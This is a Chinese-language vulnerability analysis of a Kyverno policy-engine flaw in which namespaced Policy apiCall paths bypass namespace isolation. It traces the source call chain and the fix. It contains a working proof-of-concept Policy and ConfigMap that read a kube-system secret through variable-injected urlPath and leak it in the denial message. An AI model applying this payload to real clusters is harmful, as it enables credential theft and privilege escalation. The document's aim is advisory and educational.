漏洞描述

Kyverno 是一个为云原生平台工程团队设计的策略引擎。1.16.3 和 1.15.3 之前的版本在命名空格的 Kyverno Policy apiCall 中设有关键授权边界绕过。解析后的“urlPath”通过Kyverno准入控制器ServiceAccount执行,且不强制请求仅限于策略命名空间。因此,任何有权限创建命名空间策略的认证用户都可以让 Kyverno 使用其准入控制器身份执行 Kubernetes API 请求,针对该 ServiceAccount RBAC 允许的任何 API 路径。这打破了命名空间隔离,允许跨命名空间读取(例如,ConfigMaps 以及允许的 Secret),并通过上下文变量替换控制 urlPath,实现集群范围或跨命名空间写入(例如创建 ClusterPolicy)。1.16.3 和 1.15.3 版本包含该漏洞的补丁。

漏洞影响

评分:9.9

影响:<1.16.3, <1.15.3

漏洞分析

攻击构造

# 1. 创建恶意Policy
apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: malicious-policy
  namespace: default  
spec:
  validationFailureAction: Enforce
  rules:
  - name: exploit-apiCall
    match:
      resources:
        kinds: [ConfigMap]
    context:
    - name: leakedSecret
      apiCall:
        #  利用变量注入
        urlPath: "/api/v1/namespaces/{{request.object.metadata.annotations.target_ns}}/secrets/{{request.object.metadata.annotations.target_name}}"
        method: GET
        jmesPath: "data.token"
    validate:
      message: "Stolen secret: {{leakedSecret}}"
      deny: {}

# 2. 触发策略执行的ConfigMap 
apiVersion: v1
kind: ConfigMap
metadata:
  name: trigger-exploit
  namespace: default
  annotations:
    target_ns: "kube-system"    
    target_name: "admin-token"   
data:
  dummy: "value"

后端调用链

攻击者创建恶意Policy——>攻击者创建触发ConfigMap——>Kubernetes API Server调用Kyverno webhook

pkg/webhooks/server.go

registerWebhookHandlersWithAll(
		mux,
		"VALIDATE",
		config.ValidatingWebhookServicePath,
		resourceHandlers.Validation,
		func(handler handlers.AdmissionHandler) handlers.HttpHandler {
			return handler.
				WithFilter(configuration).
				WithProtection(toggle.FromContext(ctx).ProtectManagedResources()).
				WithDump(debugModeOpts.DumpPayload).
				WithTopLevelGVK(discovery).
				WithRoles(rbLister, crbLister).
				WithMetrics(resourceLogger, metricsConfig.Config(), metrics.WebhookValidating).
				WithAdmission(resourceLogger.WithName("validate"))
		},
	)

注册路由走到ValidationHandler

pkg/webhooks/resource/validation.go

policyContext, err := v.buildPolicyContextFromAdmissionRequest(logger, request, policies)

创建策略上下文

for _, policy := range policies {
		tracing.ChildSpan(
			ctx,
			"pkg/webhooks/resource/validate",
			fmt.Sprintf("POLICY %s/%s", policy.GetNamespace(), policy.GetName()),
			func(ctx context.Context, span trace.Span) {
				policyContext := policyContext.WithPolicy(policy)
				if policy.GetSpec().GetFailurePolicy(ctx) == kyvernov1.Fail {
					failurePolicy = kyvernov1.Fail
				}

对每个策略执行验证,这里是漏洞的触发入口

engineResponse := v.engine.Validate(ctx, policyContext)

调用Engine.Validate()

if blocked {
		logger.V(4).Info("admission request blocked")
		return false, webhookutils.GetBlockedMessages(engineResponses), nil, engineResponses
	}

构造拒绝消息,泄露的敏感信息就在这里被返回

pkg/engine/engine.go

if internal.MatchPolicyContext(logger, e.client, policyContext, e.configuration) {
		policyResponse := e.validate(ctx, logger, policyContext)
		response = response.WithPolicyResponse(policyResponse)
	}

调用内部validate方法

跳到invokeRuleHandler

contextLoader := e.ContextLoader(policyContext.Policy(), rule)
				if err := contextLoader(ctx, rule.Context, policyContext.JSONContext()); err != nil {
					if _, ok := err.(gojmespath.NotFoundError); ok {
						logger.V(3).Info("failed to load context", "reason", err.Error())
					} else {
						logger.Error(err, "failed to load context")
					}
					return resource, handlers.WithError(rule, ruleType, "failed to load context", err)
				}

这里会从e.ContextLoader加载规则上下文

pkg/engine/factories/contextloaderfactory.go

if entry.ConfigMap != nil {
		if l.cmResolver != nil {
			ldr := loaders.NewConfigMapLoader(ctx, l.logger, entry, l.cmResolver, jsonContext)
			return enginecontext.NewDeferredLoader(entry.Name, ldr, l.logger)
		} else {
			l.logger.V(3).Info("disabled loading of ConfigMap context entry", "name", entry.Name)
			return nil, nil
		}
	} else if entry.APICall != nil {
		if client != nil {
			ldr := loaders.NewAPILoader(ctx, l.logger, entry, jsonContext, jp, client, l.apiCallConfig)
			return enginecontext.NewDeferredLoader(entry.Name, ldr, l.logger)
		} else {
			l.logger.V(3).Info("disabled loading of APICall context entry", "name", entry.Name)
			return nil, nil
		}
	} else if entry.GlobalReference != nil {
		if gctx != nil {
			ldr := loaders.NewGCTXLoader(ctx, l.logger, entry, jsonContext, jp, gctx)
			return enginecontext.NewDeferredLoader(entry.Name, ldr, l.logger)
		} else {
			l.logger.V(3).Info("disabled loading of GlobalContext context entry", "name", entry.Name)
			return nil, nil
		}
	} else if entry.ImageRegistry != nil {
		if rclientFactory != nil {
			ldr := loaders.NewImageDataLoader(ctx, l.logger, entry, jsonContext, jp, rclientFactory)
			return enginecontext.NewDeferredLoader(entry.Name, ldr, l.logger)
		} else {
			l.logger.V(3).Info("disabled loading of ImageRegistry context entry", "name", entry.Name)
			return nil, nil
		}
	} else if entry.Variable != nil {
		ldr := loaders.NewVariableLoader(l.logger, entry, jsonContext, jp)
		return enginecontext.NewDeferredLoader(entry.Name, ldr, l.logger)
	}
	return nil, fmt.Errorf("missing ConfigMap|APICall|ImageRegistry|Variable in context entry %s", entry.Name)
}

处理APICall类型的Context条目,在创建APILoader时policyNamespace参数

pkg/engine/context/loaders/apicall.go

func NewAPILoader(
    ctx context.Context,
    logger logr.Logger,
    entry kyvernov1.ContextEntry,
    enginectx enginecontext.Interface,
    jp jmespath.Interface,
    client engineapi.RawClient,
    apiCallConfig apicall.APICallConfiguration,

缺少policyNamespace参数

return &apiLoader{
        ctx:       ctx,
        logger:    logger,
        entry:     entry,
        enginectx: enginectx,
        jp:        jp,
        client:    client,
        config:    apiCallConfig,

缺少policyNamespace字段

func (a *apiLoader) LoadData() error {
	executor, err := apicall.New(a.logger, a.jp, a.entry, a.enginectx, a.client, a.config)
	if err != nil {
		return fmt.Errorf("failed to initiaize APICal: %w", err)
	}
	if a.data == nil {
		var err error
		if a.data, err = executor.Fetch(a.ctx); err != nil {
			return fmt.Errorf("failed to fetch data for APICall: %w", err)
		}
	}
	if _, err := executor.Store(a.data); err != nil {
		return fmt.Errorf("failed to store data for APICall: %w", err)
	}
	return nil
}

这里在创建apiCall执行器时缺少policyNamespace参数

在执行Fetch时触发漏洞

最后存储数据到上下文

pkg/engine/apicall/apiCall.go

type apiCall struct {
    logger   logr.Logger
    jp       jmespath.Interface
    entry    kyvernov1.ContextEntry
    jsonCtx  enginecontext.Interface
    executor Executor

缺少policyNamespace字段

func (a *apiCall) Fetch(ctx context.Context) ([]byte, error) {
	call, err := variables.SubstituteAllInType(a.logger, a.jsonCtx, a.entry.APICall)
	if err != nil {
		return nil, fmt.Errorf("failed to substitute variables in context entry %s %s: %v", a.entry.Name, a.entry.APICall.URLPath, err)
	}
	data, err := a.Execute(ctx, &call.APICall)
	if err != nil {
		if data == nil && a.entry.APICall.Default != nil {
			data = a.entry.APICall.Default.Raw
			a.logger.V(4).Info("failed to substitute variable data for APICall, using default value", "default", data, "name", a.entry.Name, "URLPath", a.entry.APICall.URLPath, "error", err)
			return data, nil
		}
		return nil, err
	}
	return data, nil
}

该处为变量替换,受攻击者所控制的点

/api/v1/namespaces/{{request.object.metadata.annotations.targetNs}}/secrets/{{request.object.metadata.annotations.targetName}}

攻击者代码被替换为

/api/v1/namespaces/kube-system/secrets/admin-token

最后在这里直接执行,且无命名空间验证

data, err := a.Execute(ctx, &call.APICall)

pkg/engine/apicall/executor.go

Executor执行API调用

func (a *executor) executeK8sAPICall(ctx context.Context, path string, method kyvernov1.Method, data []kyvernov1.RequestData) ([]byte, error) {
	requestData, err := a.buildRequestData(data)
	if err != nil {
		return nil, err
	}
	jsonData, err := a.client.RawAbsPath(ctx, path, string(method), requestData)
	if err != nil {
		return nil, fmt.Errorf("failed to %v resource with raw url\n: %s: %v", method, path, err)
	}
	a.logger.V(4).Info("executed APICall", "name", a.name, "path", path, "method", method, "len", len(jsonData))
	return jsonData, nil
}

这里使用Kyverno的ServiceAccount身份执行请求,将攻击者的SA权限提升为 Kyverno SA

pkg/engine/api/client.go

RawClient接口定义

漏洞修复

该漏洞修复通过在Kyverno策略引擎的apiCall功能中添加命名空间边界检查实现。

关键修复包括:

在contextloaderfactory中传递策略命名空间; APICall实例接收并存储policyNamespace参数;Fetch()方法中新增路径验证逻辑,使用正则表达式匹配API路径中的命名空间段,确保命名空间策略只能访问相同命名空间的资源,阻止跨命名空间权限提升。

参考

https://github.com/kyverno/kyverno/commit/eba60fa856c781bcb9c3be066061a3df03ae4e3e

https://github.com/kyverno/kyverno/security/advisories/GHSA-8p9x-46gm-qfx2